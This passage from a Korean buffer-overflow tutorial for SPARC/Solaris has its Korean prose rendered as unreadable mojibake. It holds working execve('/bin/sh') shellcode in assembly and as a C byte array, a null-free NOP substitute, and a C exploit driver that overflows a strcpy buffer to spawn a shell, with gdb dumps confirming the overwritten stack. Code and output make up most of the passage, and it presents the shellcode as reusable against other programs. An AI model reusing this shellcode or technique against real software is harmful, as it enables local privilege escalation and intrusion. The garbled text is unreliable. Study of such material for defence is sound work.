°Í¿¡ ³ª¸ÓÁö¸¦ ºÙÀÎ °ÍÀÌ´Ù. ÀÌÁ¦ ¾Õ¿¡¼­ execve(name[1], name, NULL); À» ÇÒ ¶§ÀÇ »óȲÀ» ±â¾ïÇØ¾ß ÇÑ´Ù. ù¹ø° ÀÎÀÚ´Â "/bin/sh"ÀÌ µé¾îÀÖ´Â À§Ä¡¸¦ °¡¸®Å°°í, µÎ¹ø° ÀÎÀÚ´Â ÀÌ°ÍÀ» °¡¸®Å² ³ðÀ» ¶Ç ´Ù½Ã °¡¸®Å°´Â °ÍÀ̸ç, ¼¼¹ø° ÀÎÀÚ´Â ±×³É 0·Î µÇ¾î ÀÖ¾ú´Ù. ¿ì¸®´Â ÀÏ´Ü »ó´ëÀû À§Ä¡ »ó¿¡¼­ ¿ì¸®°¡ ¾Ë°í ÀÖ´Â ÁÖ¼Ò°¡ sp, fp»ÓÀ̹ǷÎ, sp¸¦ "/bin/sh" ½ºÆ®¸µÀÌ µé¾î°¡´Â À§Ä¡·Î Á¤ÇÑ´Ù. ±×¸®°í, sp¿¡ ÀÌµé ½ºÆ®¸µÀÌ µé¾î ÀÖÀ¸¹Ç·Î, sp À§Ä¡ ÀÚü¸¦ ¶ÇÇÑ ¸Þ¸ð¸®¿¡ ¸ÅÇÎÇØ¾ß Çϴµ¥, ÀÌ À§Ä¡´Â "/bin/sh"½ºÆ®¸µÀÌ ³¡³ª´Â ¹Ù·Î ´ÙÀ½ À§Ä¡·Î Á¤ÇÑ´Ù. ±×·¯¸é ÀÌ À§Ä¡´Â sp + 8ÀÌ µÈ´Ù. ±×·¯¸é À̵é ÀÛ¾÷À» ÇÏ´Â ¾î¼Àºí¸® ·çƾÀ» »ý°¢ÇÏ¸é ´ÙÀ½°ú °°´Ù. and %sp, %sp, %o0 %o0´Â ½ÇÁ¦·Î "/bin/sh"ÀÌ ÀÖ´Â À§Ä¡¸¦ Âï¾î³õ°Ô µÇ¹Ç·Î, sp¸¦ Àâ¾Æ ³õ´Â´Ù. %sp¿Í %sp¸¦ °öÇÏ¸é ´Ù½Ã %sp°¡ µÇ¹Ç·Î, %o0¿¡´Â %sp°ªÀÌ µé¾î°£´Ù. add %sp, 8, %o1 %o1Àº %sp¿¡¼­ Á¤È®È÷ 8 byteµÚ¸¦ Âï¾î³õ´Â´Ù. ÀÌ À§Ä¡¿¡´Â ³ªÁß¿¡ "/bin/sh"ÀÌ ÀÖ´Â °÷À» ´Ù½Ã Ç¥ÇöÇÏ°Ô µÈ´Ù. xor %o2, %o2, %o2 %o2´Â ¼¼¹ø° ÀÎÀÚ·Î 0ÀÌ µé¾î°¡¾ß ÇϹǷÎ, xor¸¦ ÀÌ¿ëÇؼ­ 0·Î Àâ´Â´Ù. add %sp, 0x10, %sp %sp¸¦ ÇöÀç À§Ä¡¿¡¼­ Á¤È®È÷ 16¸¸Å­ ¾ÕÀ¸·Î À̵¿ÇÑ´Ù. std %l6, [ %sp + -16 ] std´Â ´õºí ¿öµå¸¸Å­À» ÀúÀåÇϸ鼭, %l6¿¡¼­ %l7±îÁö¸¦ %sp¿¡¼­ µÚ·Î 16ºÎºÐ(Àü¹øÀÇ spÀ§Ä¡)¿¡ ÀúÀå½ÃŲ´Ù. ÀÌ ¸í·ÉÀ¸·Î ÀÌÀüÀÇ %spÀ§Ä¡¿¡ "/bin/sh"ÀÌ µé¾î°£´Ù. st %sp, [ %sp + -8 ] ÇöÀçÀÇ %sp°ªÀ» %o1ÀÌ °¡¸®Å² ÀÚ¸®¿¡ ³Ö´Â´Ù. clr [ %sp + -4 ] ±× µÚÀÇ ºÎºÐÀ» 0À¸·Î Ŭ¸®¾î ½ÃŲ´Ù. ÀÌÁ¦ À§ÀÇ ÇÁ·Î±×·¥À¸·Î, %o0, %o1, %o2¿¡ ¾Ë¸ÂÀº °ªÀ» ³Ö¾îÁÖ°í, ¼º°øÀûÀ¸·Î "/bin/sh"ÀÇ À§Ä¡¸¦ %o0ÀÌ °¡¸®Å°µµ·Ï À¯µµÇß´Ù. ÀÌÁ¦ ³ª¸ÓÁö ½ÇÁ¦·Î ½Ã½ºÅÛ ¼­ºñ½º¸¦ ¹Þ´Â ºÎºÐ±îÁö Ãß°¡ÇÏ¸é ´ÙÀ½°ú °°ÀÌ ¸¸µé¾î Áø´Ù. sethi %hi(0x2f626800), %l6 or %l6, 0x16e, %l6 sethi %hi(0x2f736800), %l7 or %l7, 0x000, %l7 and %sp, %sp, %o0 add %sp, 8, %o1 xor %o2, %o2, %o2 add %sp, 0x10, %sp std %l6, [ %sp + -16 ] st %sp, [ %sp + -8 ] clr [ %sp + -4 ] mov 0x3b, %g1 ta 8 ÀÚ ÀÌ°ÍÀ¸·Î seed°¡ ¿Ï¼ºÀÌ µÇ¾ú´ÂÁö Å×½ºÆ® Çغ¸±â·Î ÇÑ´Ù. À§ ÇÁ·Î±×·¥À» as ¹× gcc¸¦ ÀÌ¿ëÇÏ¿© ±¸µ¿ÇÏ·Á ÇÒ ¶§, mainÀ̶ó´Â labelÀÌ ¾øÀ¸¸é, ½ÇÇàÀÌ Àß ¾ÈµÇ¹Ç·Î, ¸Ç À§¿¡ mainÀ» ¼±¾ðÇÏ´Â ºÎºÐÀ» Ãß°¡ÇØ¾ß ÇÑ´Ù. Ãß°¡ÇÏ°í ³ª¸é ´ÙÀ½°ú °°´Ù. (½ÇÁ¦·Î mainÀ̶ó´Â lebelÀº ½ÇÇàÀ» À§ÇÑ °ÍÀ̹ǷÎ, ½ÇÁ¦ overflow Äڵ忡´Â µé¾î°¥ ÇÊ¿ä°¡ ¾ø´Ù) .global main main: sethi %hi(0x2f626800), %l6 or %l6, 0x16e, %l6 sethi %hi(0x2f736800), %l7 or %l7, 0x000, %l7 and %sp, %sp, %o0 add %sp, 8, %o1 xor %o2, %o2, %o2 add %sp, 0x10, %sp std %l6, [ %sp + -16 ] st %sp, [ %sp + -8 ] clr [ %sp + -4 ] mov 0x3b, %g1 ta 8 ÀÌ°ÍÀ» as ¹× gcc¸¦ ÅëÇؼ­ ½ÇÇàÇغ¸µµ·Ï ÇÑ´Ù. % as s.asm -o new.o % gcc new.o % a.out $ ShellÀÌ ¶¹´Ù(!).. ÀÌÁ¦ ÀÌ°ÍÀ» ÀÌ¿ëÇÏ¿© ½ÇÁ¦·Î Çغ¸·Á°í Çϴµ¥, ¿ì¸®ÀÇ "º¸¾Æ´Ï"°¡ ³ª¸¦ ºÙÀâ´Â´Ù. seed ÄÚµå ³»¿¡ 0 ¶ó´Â °ªÀÌ µé¾î°¡°Ô µÇ¸é strcpy()¿¡ ÀÇÇؼ­ ½ºÆ®¸µÀÌ º¹»çµÉ ¶§ 0°¡ ³¢ÀÎ ÀÚ¸®¿¡¼­ º¹»ç¸¦ ¸¶Ä¡°Ô µÇ´Â ¼ö°¡ ÀÖ´Ù´Â °ÍÀÌ´Ù. 0°¡ ³¢ÀÌ¸é ¿ì¸®°¡ »ý°¢¸øÇÑ ¾û¶×ÇÑ °á°ú¸¦ °¡Á®¿À°Ô µÉ ¼öµµ ÀÖ´Â °ÍÀÌ´Ù. ±×·¯¸é À§ÀÇ Äڵ忡 0°¡ ³¢¾îÀÖ´ÂÁö gdb¸¦ ÅëÇؼ­ »ìÆ캸µµ·Ï ÇÑ´Ù. (gdb) disassemble main Dump of assembler code for function main: 0x10638
: sethi %hi(0x2f626800), %l6 0x1063c : or %l6, 0x16e, %l6 ! 0x2f62696e <_end+794845546> 0x10640 : sethi %hi(0x2f736800), %l7 0x10644 : and %sp, %sp, %o0 0x10648 : add %sp, 8, %o1 0x1064c : xor %o2, %o2, %o2 0x10650 : add %sp, 0x10, %sp 0x10654 : std %l6, [ %sp + -16 ] 0x10658 : st %sp, [ %sp + -8 ] 0x1065c : clr [ %sp + -4 ] 0x10660 : xor %l3, %l3, %l3 0x10664 : inc %l3 0x10668 : mov 0x3b, %g1 0x1066c : ta 8 End of assembler dump. ¸ÕÀú disassemble mainÀ» Çغ¸´Ï ½ÃÀÛ ÁÖ¼Ò°¡ 0x10638ÀÌ´Ù. ÀÌ°÷ ³»¿ëÀ» 4byte¾¿ ²÷¾î¼­ ½ÇÁ¦ °¢°¢ÀÇ byte³»¿ëÀ» »ìÆ캸¸é ´ÙÀ½°ú °°´Ù. Àá±ñ ¾Æ·¡¿¡ ta¸¦ ºÎ¸£±â Àü ºÎºÐ¿¡ xor %l3, %l3, %l3 ¹× inc %l3°¡ Ãß°¡µÈ °ÍÀ» º¼ ¼ö ÀÖ´Ù. ÀÌ°ÍÀº ½ÇÁ¦·Î ÇÊ¿äÇÑ °ÍÀ¸·Î À̹ø ºÐ¼®ÀÌÈÄ seed ÇÁ·Î±×·¥ ³»ºÎ¿¡ ³Ö¾îÁÖµµ·Ï ÇÑ´Ù. (gdb) x/wx 0x10638 0x10638
: 0x2d0bd89a (gdb) 0x1063c : 0xac15a16e (gdb) 0x10640 : 0x2f0bdcda (gdb) 0x10644 : 0x900b800e (gdb) 0x10648 : 0x9203a008 (gdb) 0x1064c : 0x941a800a (gdb) 0x10650 : 0x9c03a010 (gdb) 0x10654 : 0xec3bbff0 (gdb) 0x10658 : 0xdc23bff8 (gdb) 0x1065c : 0xc023bffc (gdb) 0x10660 : 0xa61cc013 (gdb) 0x10664 : 0xa604e001 (gdb) 0x10668 : 0x8210203b (gdb) 0x1066c : 0x91d02008 (gdb) Áß°£¿¡ 0ÀÌ ¸¹ÀÌ ³¢¾ú´Ù°í °ÆÁ¤ÇÒ ÇÊ¿ä´Â ¾ø´Ù. ÇÑ byte´Â À§¿¡¼­ µÎ ÀÚ¸®¾¿À» °¡Áö¹Ç·Î, µÎÀÚ¸®¾¿À» ²÷¾î¼­ º¸¸é 00ÀÎ °ÍÀº ¾Æ¹«°Íµµ ¾ø´Ù. ´ÙÇàÀÌ´Ù(!). 0 ³¢¸® ºÙÀº °ÍÀÌ °£È¤ ÀÖÁö¸¸, µÎÀÚ¸®¾¿ ¦¼ö´ÜÀ§·Î ²÷¾îÁö¹Ç·Î, ¼­·Î ¿¬°áµÈ °ÍÀÌ ¾Æ´Ï´Ù. ÀÌÁ¦ ÀÌ°ÍÀ» ½ÇÁ¦·Î overflow½ÃÄѼ­ ½ÇÇàÇغ¸µµ·Ï ÇÑ´Ù. 9. ½ÇÁ¦·Î overflow¸¦ ½ÃŲ ¿¹Á¦ ¾Õ¿¡¼­´Â shellÀ» ¶ç¿ì´Â seed¸¦ ¸¸µé¾î º¸¾Ò´Ù. ½ÇÁ¦·Î ±¸µ¿½ÃÄѺ» °á°ú, Àß µ¹¾Æ°¡´Â °ÍÀ» ¾Ë¾Ò´Ù. ÀÌÁ¦ ÀÌ°ÍÀ» ½ÇÁ¦·Î overflow½ÃÄѺ¸µµ·Ï ÇÏ°Ú´Ù. SeedÀÇ ÇüÅ´Â, NNNNNNNNNNNNNNNSSSSSSSSSSSSSSRRRRRRRRRRRRRRRR °ð, ¾ÕÀº NOPÀ¸·Î ä¿ö¼­ ¸®ÅÏ ¾îµå·¹½º°¡ ¹þ¾î³ª´Â °ÍÀ» ¹æºñÇϸç, S´Â ¿ì¸®°¡ ¸¸µç shell code°¡ µé¾î°¥ °ÍÀÌ°í, R ºÎºÐ¿¡¼­´Â ¸®ÅÏÇÒ ¾îµå·¹½º¸¦ ÁöÁ¤ÇÒ °ÍÀÌ´Ù. NOPÀº ¾î¼Àºí¸® ¸í·ÉÀ¸·Î Á¸ÀçÇϴµ¥, ÀÌ°ÍÀ» Á÷Á¢ °ªÀ» »ìÆ캸¸é 0x01000000À̶ó´Â °ªÀ» °¡Áø´Ù. ÀÌ°ÍÀº ¿ì¸®°¡ ¿øÇÏ´Â NOPÀÇ ÇüÅ°¡ ¾Æ´Ï´Ù. ¿Ö³ÄÇϸé 0x00ÇüÅÂÀÇ ºÎºÐÀÌ ³¢¾îÀÖÀ¸¸é strcpy()°¡ ÀÌ·ç¾î Áö´Â µ¿¾È ©·Á³ª°¡±â ¶§¹®ÀÌ´Ù. ¿ì¸®´Â ´Ù¸¥ ÇüÅÂÀÇ NOPÀÌ ÇÊ¿äÇѵ¥, ±×°ÍÀº 0x00ÀÌ ³¢¾îÀÖÁö ¾ÊÀ¸¸é¼­ °ªÀ» ¹Ù²ÙÁö ¾Ê´Â ¸í·ÉÀ̱⸸ ÇÏ¸é µÈ´Ù. ³ª´Â ¿©±â¿¡¼­ xor %l3, %l3, %l3¸¦ Àâ±â·Î Çß´Ù. ÀÌ °ªÀº ¾Õ Àý¿¡¼­ 0xa61cc013À̶ó´Â °ªÀ̾ú´Ù. ÀÌ°ÍÀº NOPÀ¸·Î »ç¿ëÇÏ¿©, ¾ÕÀ» ä¿ìµµ·Ï ÇÑ´Ù. ´ÙÀ½Àº 6Àý¿¡¼­ ¸¸µé¾ú´ø Å×½ºÆ®¿ë ÇÁ·Î±×·¥À» °£´ÜÈ÷ ¹Ù²Ù¾î¼­ À§ÀÇ seed¸¦ Æ÷ÇÔÇϵµ·Ï ÇÑ ÇÁ·Î±×·¥ÀÌ´Ù. #include /* seed[]´Â ¾Õ¿¡¼­ ¸¸µç seedÀÇ °ªÀ» »Ì¾Æ³»¾î °¡Áö°í ÀÖ´Â ¹è¿­ÀÌ´Ù. */ u_char seed[] = "\x2d\x0b\xd8\x9a" "\xac\x15\xa1\x6e" "\x2f\x0b\xdc\xda" "\x90\x0b\x80\x0e" "\x92\x03\xa0\x08" "\x94\x1a\x80\x0a" "\x9c\x03\xa0\x10" "\xec\x3b\xbf\xf0" "\xdc\x23\xbf\xf8" "\xc0\x23\xbf\xfc" "\xa6\x1c\xc0\x13" "\xa6\x04\xe0\x01" "\x82\x10\x20\x3b" "\x91\xd0\x20\x08" ; #define NOP 0xa61cc013 /* xor %l3, %l3, %l3 */ void shit(char *in) { char ex[200]; /* ¹Þ´Â °ÍÀº boundµÈ 200byteÅ©±âÀÇ ¹è¿­ */ strcpy(ex, in); } u_long get_sp(void) { __asm__("mov %sp, %i0 \n"); } void main(argc, argv) int argc; char **argv; { u_char in[400]; /* º¸³»´Â °ÍÀº 400byteÀÇ ¹è¿­ */ int i; u_long *ret_addr; u_long *putaddr; u_long a; int adder = 0; putaddr = in; if(argc > 1) adder = atoi(argv[1]); a = get_sp(); a += 112; a -= 200; /* ÀûÀýÈ÷ Á¤ÇØÁØ Á¡ÇÎ À§Ä¡ */ printf("ret address : 0x%lx\n", a); for(i = 0; i < 400 / 4; i++) /* Àüü¸¦ ÀÏ´Ü NOPÀ¸·Î ä¿î´Ù. */ *(putaddr++) = NOP; putaddr = in + 200; /* 200 byteÈÄ¿¡¼­ ºÎÅÍ */ for(i = 200 / 4; i < 400 / 4; i++) /* return ÁÖ¼Ò¸¦ µÚÀÇ 200byteä¿ò */ *(putaddr++) = a; for(i = 0; i < strlen(seed); i++) /* 200 byteÁöÁ¡¿¡¼­ ºÎÅÍ seedÀÔ·Â */ in[i + 200] = seed[i]; shit(in); /* target¿¡ º¸³½´Ù */ } À§ÀÇ ÇÁ·Î±×·¥À» ÄÄÆÄÀÏ ÇÏ¿© µ¹·Áº¸ÀÚ. % gcc -g a.c a.c: In function `main': a.c:44: warning: assignment from incompatible pointer type a.c:58: warning: assignment from incompatible pointer type % a.out ret address : 0xeffffaa0 $ §! shellÀ» ¶ç¿ì´Â µ¥, ¼º°øÇÏ¿´´Ù. ÀÌÁ¦±îÁö ±æ°Ô±æ°Ô ½á¿Â º¸¶÷ÀÌ ¿©±â¿¡¼­ ³ªÅ¸³µ´Ù. ÀÌÁ¦ ¾î¶»°Ô ÀÌ°ÍÀÌ ÀÌ·ç¾î Á³´ÂÁö gdb¸¦ µ¹·Á¼­ memory mapÀ» »ìÆ캸µµ·Ï ÇÏ°Ú´Ù. (gdb) break shit Breakpoint 1 at 0x10750: file a.c, line 26. (gdb) run Starting program: /member/seoro/work/overflow-basics/maga/a.out ret address : 0xeffffa78 Breakpoint 1, shit ( in=0xeffffbb8 "¥Ì034¿º023 .... " 26 strcpy(ex, in); Áß°£¿¡ Á¤ÁöÇÏ´Â ÁöÁ¡À» shit()À¸·Î Àâ°í, µ¹¸®´Ï±î shit()¿¡ µé¾î°¡¼­ ¸ØÃß¾ú´Ù. (gdb) s 27 } ÇÑ ½ºÅÜ ½ÇÇàÇϸé strcpy(ex, in); À» ½ÇÇàÇÑ´Ù. À̶§ ÀÌ¹Ì overflow°¡ ÀÌ·ç¾îÁø »óÅÂÀÌ´Ù. (gdb) info reg fp sp fp 0xeffffb40 -268436672 sp 0xeffffa08 -268436984 ÀÌ »óÅ¿¡¼­ fp¿Í sp°ªÀ» »ìÆ캸¸é fp´Â 0xeffffb40ÀÌ°í, sp´Â 0xeffffa08ÀÌ´Ù. ±×·¯¸é shit³»ÀÇ ex[200]ÀÇ ¹è¿­Àº ÀÌ ¾È¿¡ Á¸ÀçÇϹǷÎ, ³»¿ëÀ» ´ë°­ ã¾Æº¼ ¼ö ÀÖ´Ù. exÀÇ ½ÃÀÛÁÖ¼Ò°¡ fp·Î ºÎÅÍ 200¿¡ µÞºÎºÐ 16À» ´õÇؼ­, 216µÚºÎºÐ¿¡ Á¸ÀçÇÑ´Ù. ¿ì¸®´Â ±×³É 216±îÁö °¥ ÇÊ¿ä¾øÀÌ, 24¸¸ µÚ·Î ¿Å°Ü¼­ ¸Þ¸ð¸® ³»¿ëÀ» »ìÆ캸µµ·Ï ÇÑ´Ù. (gdb) x/wx 0xeffffb28 0xeffffb28 <_end+8713912>: 0xa61cc013 (gdb) 0xeffffb2c <_end+8713916>: 0xa61cc013 (gdb) 0xeffffb30 <_end+8713920>: 0x2d0bd89a (gdb) 0xeffffb34 <_end+8713924>: 0xac15a16e (gdb) 0xeffffb38 <_end+8713928>: 0x2f0bdcda (gdb) 0xeffffb3c <_end+8713932>: 0x900b800e (gdb) ¾Õ¿¡ ³ªÅ¸³­ °ÍÀº ¿ì¸®°¡ Á¤ÀÇÇÑ NOPÀÌ´Ù. 0xeffffb30ºÎÅÍ ¾Õ¿¡¼­ Á¤ÀÇÇß´ø shellÀÇ seed ÄÚµåµéÀÌ ³ªÅ¸³ª±â ½ÃÀÛÇß´Ù. ... (gdb) 0xeffffb60 <_end+8713968>: 0x8210203b (gdb) 0xeffffb64 <_end+8713972>: 0x91d02008 (gdb) 0xeffffb68 <_end+8713976>: 0xeffffa78 (gdb) 0xeffffb6c <_end+8713980>: 0xeffffa78 (gdb) 0xeffffb70 <_end+8713984>: 0xeffffa78 shell seedµéÀ» ´Ù ¾²°í ³ª´Ï ÀÌÁ¦ ³ª¿À´Â °ÍµéÀº ¿ì¸®°¡ ÀÓÀÇ·Î ¸¸µé¾î ³ÖÀº return addressµéÀÌ´Ù. ¿ø·¡ ÇÑ ½ºÅà ÇÁ·¹ÀÓ ³»¿¡¼­ return address°¡ À§Ä¡ÇÏ´Â °÷Àº ½ÃÀÛÀ§Ä¡¿¡¼­ 56byteÈÄÀÇ ÀÚ¸®ÀÌ´Ù. À§¿¡¼­ fp°ªÀÌ 0xeffffb40À̾úÀ¸¹Ç·Î, return addressÀÇ À§Ä¡´Â 0xeffffb78ÀÇ À§Ä¡ÀÌ´Ù. ÀÌ À§Ä¡´Â ¾Æ±î ÀÌ¹Ì RRRR ºÎºÐÀ» °ÅÀÇ 200 byteÁ¤µµ ½áÁÖ¾úÀ¸¹Ç·Î, ³Ë³ËÈ÷ ³Ñ°åÀ» °ÍÀÌ´Ù. À§ÀÇ return addressºÎºÐ¿¡ ¹«¾ùÀÌ ÀÖ´ÂÁö »ìÆ캸¸é ´ÙÀ½°ú °°´Ù. (gdb) x/wx 0xeffffa78 0xeffffa78 <_end+8713736>: 0xa61cc013 ±× ÀÚ¸®´Â ¿ì¸®°¡ Á¤ÀÇÇÑ NOP°¡ Á¸ÀçÇÑ´Ù. ±×·¯¸é overflow°¡ ÀÌ·ç¾î Áö¸é¼­ ¾Õ¿¡¼­ Á¦½ÃÇÑ ¸ðÇü¿¡¼­ NOPºÎºÐÀ» ã¾Æ°¡°í ÀÖ´Â °ÍÀÌ ºÐ¸íÇÏ´Ù. ÀÌÁ¦ ½ÇÁ¦·Î ¸Þ¸ð¸®¿¡ ¾î¶»°Ô µé¾î°¡°í ÀÖ¾ú´ÂÁö¿¡ °üÇÑ °Íµµ ¸ðµÎ ³¡¸¶ÃÆ´Ù. Á¤¸»·Î ³²Àº °ÍÀº ½ÇÁ¦·Î ¿ì¸®°¡ »ç¿ëÇÏ°í ÀÖ´Â ¿©·¯ ÇÁ·Î±×·¥¿¡ ÀÌ°ÍÀ» Àû¿ë½ÃÅ°´Â °Í »ÓÀÌ´Ù. º¹ÀâÇÏÁö¸¸, ¿ì¸®ÀÇ seed code´Â ¾î¶² ÇÁ·Î±×·¥¿¡¼­µµ À¯¿ëÇϸç, ´ÜÁö ¿ì¸®°¡ ã¾Æ³»¾ß ÇÏ´Â °ÍÀº boundµÇ¾î ÀÖ´Â ¹è¿­ÀÇ size¹× ±×°ÍÀÇ À§Ä¡ÀÏ µû¸§ÀÌ´Ù. Èûµé°Ô ÀоîÁØ ¿©·¯ºÐ¿¡°Ô °¨»çµå¸®¸ç, ´ÙÀ½ È£¿¡¼­´Â À̹ø È£¿¡¼­ ´Ù·é ³»¿ëµéÀÌ ¾î¶»°Ô ¾²ÀÌ´Â Áö, ¿©·¯ Á¾·ùÀÇ ÀÀ¿ëÇÁ·Î±×·¥À» ã¾Æ¼­ ½ÇÁ¦·Î º¸¿©ÁÙ ¿¹Á¤ÀÌ´Ù. ¸¹Àº È£ÀÀÀ» ºÎŹµå¸°´Ù. <Âü°í ¹®Çå> 1. Smashing Stack for Fun and Profit Phrack 49 Aleph One 2. Gethostbyname BugTraQ Jeremy Elson 3. /bin/ksh code BugTraQ Kichang Yang 4. UNIX internals Addison Wesley Pate 5. SPARC assembly Reference Manual SUN Solaris2.5 Manual 6. Solaris x86 Assembly Manual SUN Solaris2.5 Manual 7. Buffer overrun L0pht Mudge